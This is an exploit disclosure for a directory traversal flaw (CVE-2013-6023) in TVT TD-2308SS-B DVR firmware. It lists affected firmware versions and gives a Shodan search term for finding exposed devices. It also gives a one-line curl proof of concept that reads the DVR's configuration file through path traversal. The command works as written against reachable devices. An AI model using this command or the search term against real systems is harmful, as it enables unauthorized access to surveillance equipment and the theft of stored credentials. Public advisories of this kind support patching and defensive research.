TVT TD-2308SS-B DVR - Directory Traversal Vulnerability

# Exploit Title: TVT TD-2308SS-B DVR directory traversal
# Shodan Dork: "Cross Web Server"
# Date: 01 Dec 2013
# Disclosure date: 10 Sep 2013
# Exploit Author: Cesar Neira
# Vendor Homepage: http://en.tvt.net.cn/
# Affected Firmware Versions:
3.1.43.B
3.1.43.P
3.1.6.P-1.0.2.1-03
3.1.75.B-1.0.2.1-00
3.1.7.B-1.0.2.1-00
3.1.81.B-1.0.2.1-00
3.1.83.B-1.0.2.1-00
3.1.83.P-1.0.4.2-03
3.1.87.P-1.0.4.2-17
3.1.91.P-1.0.2.1-03
3.1.92.P-1.0.2.1-00
3.1.93.B-1.0.2.1-17
3.2.0.B-1.0.2.1-17
3.2.0.P-1.0.2.1-03
3.2.0.P-1.0.2.1-17
3.2.0.P-1.0.6.0.32-00
3.2.0.P-3520A-00
3.2.0.P-3520A-03
3.2.0.P-3531-00
3.2.0.P-3531-11
3.2.0.P-FH-00
3.2.9.P-3520A-06
maybe others.
# Tested on: TVT DVR TD-2308SS-B
# CVE : CVE-2013-6023
# References:
http://www.kb.cert.org/vuls/id/785838
http://alguienenlafisi.blogspot.com/2013/10/dvr-tvt-directory-traversal.html
 
POC:
 
curl http://[IP Address]/../../../mnt/mtd/config/config.dat 2>/dev/null | strings
 
-- 
Cesar Neira <[email protected]>
http://alguienenlafisi.blogspot.com
Root-Node

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